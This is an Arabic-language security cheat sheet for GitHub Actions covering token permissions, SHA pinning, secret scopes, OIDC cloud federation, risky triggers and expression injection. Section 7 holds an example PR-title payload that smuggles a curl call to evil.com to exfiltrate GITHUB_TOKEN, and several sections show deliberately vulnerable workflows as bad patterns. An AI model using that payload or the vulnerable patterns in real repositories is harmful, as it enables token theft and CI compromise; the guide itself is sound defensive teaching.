ورقة مرجعية لأمان GitHub Actions: الصلاحيات، التثبيت، الأسرار، و OIDC

1. الصلاحيات — مبدأ الحد الأدنى من الامتيازات

أهم تغيير يمكنك إجراؤه على أي سير عمل في GitHub Actions هو تقييد الصلاحيات. بشكل افتراضي، يمتلك GITHUB_TOKEN صلاحيات قراءة وكتابة على معظم النطاقات. قم بتغيير ذلك فوراً.

صلاحيات القراءة فقط الافتراضية (المستوى الأعلى)

ضع هذا في أعلى كل ملف سير عمل لجعل القراءة فقط هي الوضع الافتراضي لجميع المهام:

# .github/workflows/ci.yml
name: CI
on: [push, pull_request]

permissions: read-all

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

صلاحيات فارغة (بدون وصول)

للمهام التي لا تتعامل أبداً مع واجهات GitHub APIs أو المستودع، قم بإزالة جميع الصلاحيات بالكامل:

jobs:
  lint:
    runs-on: ubuntu-latest
    permissions: {}
    steps:
      - uses: actions/checkout@v4
      - run: npm run lint

لماذا يعمل هذا: يستخدم actions/checkout الرمز المميز للمستودعات الخاصة لكنه يعود إلى الاستنساخ المجهول للمستودعات العامة. إذا كان مستودعك عاماً، فإن permissions: {} آمن لعملية checkout.

وصفات الصلاحيات لكل مهمة

امنح فقط ما تحتاجه كل مهمة:

# Checkout only (private repo)
jobs:
  test:
    permissions:
      contents: read
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

# Deploy to GitHub Pages
jobs:
  deploy-pages:
    permissions:
      pages: write
      id-token: write
    runs-on: ubuntu-latest

# Push to GitHub Container Registry (GHCR)
jobs:
  push-image:
    permissions:
      contents: read
      packages: write
    runs-on: ubuntu-latest

# Create a GitHub Release
jobs:
  release:
    permissions:
      contents: write
    runs-on: ubuntu-latest

# Comment on a Pull Request
jobs:
  comment:
    permissions:
      pull-requests: write
    runs-on: ubuntu-latest

القاعدة العامة: ابدأ بـ permissions: {} وأضف النطاقات واحداً تلو الآخر حتى تنجح المهمة. لا تترك أبداً صلاحيات القراءة والكتابة الافتراضية.

2. تثبيت الإجراءات — توقف عن استخدام الوسوم

الوسوم مثل @v4 قابلة للتغيير. يمكن للمهاجم الذي يخترق إجراءً شائعاً أن ينقل الوسم إلى commit خبيث. ثبّت كل إجراء تابع لطرف ثالث باستخدام SHA الكامل.

مثبّت مقابل غير مثبّت

# DANGEROUS — tag can be moved to any commit
- uses: actions/checkout@v4

# SAFE — immutable commit reference
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

التعليق في نهاية السطر يحافظ على سهولة القراءة بينما يقفل SHA الكود الدقيق الذي قمت بمراجعته.

العثور على SHA لأي إجراء

# Get the full SHA for a specific tag
git ls-remote --tags https://github.com/actions/checkout.git v4.1.1

# Or use the GitHub API
gh api repos/actions/checkout/git/ref/tags/v4.1.1 --jq '.object.sha'

أتمتة التحديثات باستخدام Dependabot

التثبيت باستخدام SHA لا يعني التوقف عن التحديث. دع Dependabot يقترح ترقيات الإصدارات تلقائياً:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: "/"
    schedule:
      interval: weekly
    commit-message:
      prefix: "ci"
    reviewers:
      - "your-org/security-team"
    labels:
      - "dependencies"
      - "ci"

يفهم Dependabot تثبيتات SHA. سيقوم بتحديث SHA و وسم التعليق في طلب سحب واحد.

3. إدارة الأسرار

يوفر GitHub ثلاثة نطاقات للأسرار. اختر النطاق المناسب لتقليل نطاق الضرر.

مقارنة نطاقات الأسرار

النطاق الرؤية الأفضل لـ
Repository جميع سير العمل في مستودع واحد مفاتيح API والرموز الخاصة بالمستودع
Environment المهام التي تستهدف تلك البيئة فقط بيانات اعتماد الإنتاج، مفاتيح النشر
Organization مستودعات مختارة عبر المنظمة حسابات الخدمة المشتركة، بيانات اعتماد السجل

قواعد حماية البيئة

تتيح لك البيئات تقييد عمليات النشر خلف الموافقات ومؤقتات الانتظار وقيود الفروع:

jobs:
  deploy-production:
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://app.example.com
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
      - name: Deploy
        run: ./deploy.sh
        env:
          DEPLOY_KEY: ${{ secrets.PRODUCTION_DEPLOY_KEY }}

ثم قم بتكوين بيئة production في Settings → Environments مع:

  • مراجعون مطلوبون (واحد على الأقل)
  • مؤقت انتظار (مثلاً 5 دقائق)
  • قيود فرع النشر: main فقط

منطقة الخطر: pull_request مقابل pull_request_target

هذا أحد أخطر سوء الفهم في GitHub Actions:

المشغّل الكود المسحوب الأسرار متاحة؟ المخاطر
pull_request PR merge commit لا (للـ forks) منخفضة
pull_request_target الفرع الأساسي نعم حرجة إذا قمت بسحب كود PR

لا تفعل هذا أبداً:

# CRITICAL VULNERABILITY — secrets exposed to fork PR code
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Checks out UNTRUSTED fork code
      - run: ./build.sh  # Runs attacker-controlled code WITH secrets

إذا كنت بحاجة إلى pull_request_target، فلا تقم أبداً بسحب رأس PR. استخدمه فقط لوضع التسميات أو التعليق على كود الفرع الأساسي.

4. OIDC / اتحاد هوية حمل العمل

توقف عن تخزين بيانات اعتماد السحابة طويلة الأجل كأسرار. استخدم OpenID Connect للحصول على رموز قصيرة الأجل مباشرة من مزود السحابة الخاص بك.

كتلة الصلاحيات المطلوبة لجميع سير عمل OIDC:

permissions:
  id-token: write   # Required to request the OIDC JWT
  contents: read    # Required for actions/checkout

AWS — تكوين OIDC

- name: Configure AWS Credentials
  uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
  with:
    role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
    aws-region: us-east-1

قالب سياسة الثقة لـ AWS:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          "token.actions.githubusercontent.com:sub": "repo:your-org/your-repo:ref:refs/heads/main"
        }
      }
    }
  ]
}

GCP — اتحاد هوية حمل العمل

- name: Authenticate to Google Cloud
  uses: google-github-actions/auth@55bd8e7c523b4b80c1b4b5e492ffb613a15f2591 # v2.1.3
  with:
    workload_identity_provider: projects/123456/locations/global/workloadIdentityPools/github/providers/github
    service_account: github-actions@my-project.iam.gserviceaccount.com

Azure — بيانات الاعتماد الموحدة

- name: Azure Login
  uses: azure/login@6c251865b4e6290e7b78be643ea2d005bc51f69a # v2.1.1
  with:
    client-id: ${{ secrets.AZURE_CLIENT_ID }}
    tenant-id: ${{ secrets.AZURE_TENANT_ID }}
    subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}

الفائدة الرئيسية: لا توجد بيانات اعتماد ثابتة مخزنة في أي مكان. تنتهي صلاحية الرموز في دقائق. تقيد سياسة الثقة المستودعات والفروع والبيئات التي يمكنها تولي الدور.

5. مشغّلات سير العمل — الآمن مقابل الخطير

ليست جميع المشغّلات متساوية. بعضها ينفذ كوداً من مصادر غير موثوقة أو يمنح صلاحيات مرتفعة.

جدول أمان المشغّلات

المشغّل مستوى المخاطر ملاحظات
push منخفض يشغّل فقط الكود المدمج مسبقاً
pull_request منخفض لا أسرار للـ forks
schedule منخفض يعمل على الفرع الافتراضي
workflow_dispatch متوسط مشغّل يدوي — تحقق من المدخلات
pull_request_target عالي الأسرار متاحة — انظر القسم 3
issue_comment عالي أي معلق يمكنه التشغيل — قيّد بفحوصات الصلاحيات
workflow_run عالي يرث السياق المرتفع من سير العمل المشغِّل

تصفية الفروع والمسارات

قلل التشغيلات غير الضرورية وحدّ من التعرض:

on:
  push:
    branches:
      - main
      - 'releases/**'
    paths:
      - 'src/**'
      - 'package.json'
    paths-ignore:
      - 'docs/**'
      - '*.md'

التحكم في التزامن

امنع عمليات النشر المتعددة من التسابق:

concurrency:
  group: deploy-${{ github.ref }}
  cancel-in-progress: false  # Don't cancel in-flight deploys

# For PR builds where canceling old runs is safe:
concurrency:
  group: ci-${{ github.event.pull_request.number || github.sha }}
  cancel-in-progress: true

6. أمان إجراءات الطرف الثالث

كل سطر uses: في سير عملك هو تبعية في سلسلة التوريد. تعامل معه مثل أي تبعية أخرى.

قائمة التدقيق

قبل اعتماد أي إجراء تابع لطرف ثالث، تحقق من:

  • الناشر: هل هو من منشئ موثق أو منظمة معروفة (مثل actions/*، aws-actions/*
  • الكود المصدري: هل قرأت action.yml وسكريبت نقطة الدخول؟
  • الصلاحيات: هل يطلب أكثر مما يحتاج؟
  • النجوم / الاستخدام: الإجراءات قليلة الاستخدام أعلى خطورة.
  • الصيانة: متى كان آخر commit؟ هل يتم معالجة المشكلات؟
  • التبعيات: هل يسحب شجرة node_modules ضخمة؟

انسخ الإجراءات الحرجة

للإجراءات التي تعمل في خطوط أنابيب حساسة، انسخها إلى منظمتك:

# Instead of:
- uses: some-random-org/deploy-action@v2

# Fork and pin:
- uses: your-org/deploy-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2

أنشئ سير عمل مجدول لمزامنة نسختك ومراجعة الفروقات قبل دمج التغييرات الأصلية.

CODEOWNERS لملفات سير العمل

اطلب مراجعة فريق الأمان لأي تغييرات في سير العمل:

# .github/CODEOWNERS
.github/workflows/   @your-org/security-team
.github/actions/      @your-org/security-team

ادمج هذا مع قواعد حماية الفروع التي تتطلب موافقة CODEOWNERS لجعلها قابلة للتطبيق.

7. منع حقن التعبيرات

تعبيرات GitHub Actions (${{ }}) يتم توسيعها كقوالب قبل أن يراها الـ shell. إذا تحكم المهاجم بالقيمة، فإنه يتحكم في الـ shell الخاص بك.

النمط الخطير

# VULNERABLE — attacker controls the PR title
- name: Echo PR title
  run: echo "PR: ${{ github.event.pull_request.title }}"

عنوان PR خبيث مثل Fix"; curl http://evil.com/steal?token=$GITHUB_TOKEN # يكسر أمر echo ويسرّب الرمز المميز.

السياقات الخطيرة التي تقبل مدخلات المستخدم:

  • github.event.pull_request.title
  • github.event.pull_request.body
  • github.event.issue.title
  • github.event.issue.body
  • github.event.comment.body
  • github.event.review.body
  • github.event.head_commit.message
  • github.head_ref (اسم الفرع من الـ forks)

البديل الآمن — متغيرات البيئة

# SAFE — value is passed as an environment variable, not injected into the script
- name: Echo PR title
  run: echo "PR: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

عندما تمر القيمة عبر متغير بيئة، يتعامل معها الـ shell كبيانات وليس كشيفرة. هذا هو الحل لـ كل حقن تعبير.

الاستخدام الآمن في الشروط

التعبيرات في شروط if: آمنة لأنها تُقيَّم بواسطة بيئة تشغيل Actions وليس الـ shell:

# SAFE — evaluated by Actions runtime, not shell
- name: Check label
  if: contains(github.event.pull_request.labels.*.name, 'deploy')
  run: echo "Deploy label found"

8. الأخطاء الشائعة — أهم 5 مع الإصلاحات

الخطأ 1: صلاحيات الرمز الافتراضية (المفرطة)

# BAD — implicit read-write on everything
on: push
jobs:
  build:
    runs-on: ubuntu-latest
    steps: ...

# FIXED — explicit read-only default
on: push
permissions: read-all
jobs:
  build:
    runs-on: ubuntu-latest
    steps: ...

الخطأ 2: استخدام وسوم قابلة للتغيير للإجراءات

# BAD
- uses: actions/setup-node@v4

# FIXED
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2

الخطأ 3: بيانات اعتماد سحابية طويلة الأجل كأسرار

# BAD — static AWS keys that never expire
env:
  AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
  AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

# FIXED — OIDC federation, no stored credentials
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
  with:
    role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
    aws-region: us-east-1

الخطأ 4: سحب كود PR في pull_request_target

# BAD — runs untrusted code with secrets
on: pull_request_target
steps:
  - uses: actions/checkout@v4
    with:
      ref: ${{ github.event.pull_request.head.sha }}
  - run: make build

# FIXED — use pull_request trigger (no secrets for forks)
on: pull_request
steps:
  - uses: actions/checkout@v4
  - run: make build

الخطأ 5: حقن التعبيرات عبر run:

# BAD — direct interpolation of user input
- run: echo "Issue: ${{ github.event.issue.title }}"

# FIXED — pass through environment variable
- run: echo "Issue: $ISSUE_TITLE"
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}

بطاقة مرجعية سريعة

الممارسة ملخص
الصلاحيات الافتراضية permissions: read-all في أعلى سير العمل
تثبيت الإجراءات استخدم SHA كامل من 40 حرفاً + وسم تعليق
تحديث تلقائي للتثبيتات Dependabot مع نظام github-actions
مصادقة السحابة اتحاد OIDC، لا مفاتيح ثابتة أبداً
حماية الأسرار نطاقات البيئة + قواعد الحماية
منع الحقن استخدم دائماً env: للقيم التي يتحكم بها المستخدم
مراجعة سير العمل CODEOWNERS على .github/workflows/
تجنب المشغّلات الخطرة تجنب pull_request_target + checkout

تطبيق حتى نصف هذه الممارسات يضع خط أنابيب CI/CD الخاص بك في مقدمة معظم المنظمات. ابدأ بالصلاحيات والتثبيت — يستغرقان خمس دقائق ويزيلان فئات كاملة من هجمات سلسلة التوريد. ثم اعمل على اتحاد OIDC ومنع حقن التعبيرات لسد الثغرات المتبقية.

للتدريب العملي، استكشف مختبرات أمان CI/CD وأدلة GitHub Actions لرؤية هذه الأنماط مطبقة في سيناريوهات واقعية.